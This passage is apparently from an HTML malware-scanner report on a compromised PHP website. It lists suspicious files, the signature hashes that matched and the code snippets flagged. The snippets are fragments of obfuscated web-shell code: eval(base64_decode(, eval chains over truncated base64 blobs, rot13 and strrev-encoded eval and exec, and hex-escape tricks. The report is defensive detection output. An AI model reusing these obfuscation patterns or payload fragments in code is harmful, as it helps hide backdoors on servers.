</code></code></td></tr><tr><td><p><b>Function str_rot13 exec_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RkRP</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 80e70adc <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 80e70adc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700"><?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">eval</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ldmFs</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">V2YW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_404").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/doqys.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 161.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:17:22</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:17:22</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_405" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1719</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_405").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/ovaszkowl.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 19.06 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 18:56:17</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 18:56:17</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_406" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSvuX0l+i/6Jm9xfGkJT3L4yTp5urFQ/jX0Q...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$Shgrt</span><span style="color: #007700">(</span><span style="color: #0000BB">$sJhXG</span><span style="color: #007700">(</span><span style="color: #0000BB">$LNuWx</span><span style="color: #007700">(</span><span style="color: #0000BB">$DesQW</span><span style="color: #007700">(</span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSv...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 eval_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RinY</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_406").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/scwez.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 70.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:14:24</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:14:24</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_407" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$o</span><span style="color: #007700">(</span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOEx...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">laVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3BLb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"base64_decode"</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_407").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 23.26 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-02-24 03:40:15</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-09 14:09:21</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_408" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$BfITbebNXWYJvLgq</span><span style="color: #007700">[</span><span style="color: #0000BB">41</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_408").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/frfah.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 70.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 18:55:03</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 18:55:03</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_409" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$o</span><span style="color: #007700">(</span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOEx...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">laVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3BLb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"base64_decode"</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_409").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/zybec.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 70.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 18:55:02</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 18:55:02</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_410" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$o</span><span style="color: #007700">(</span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOEx...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">laVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
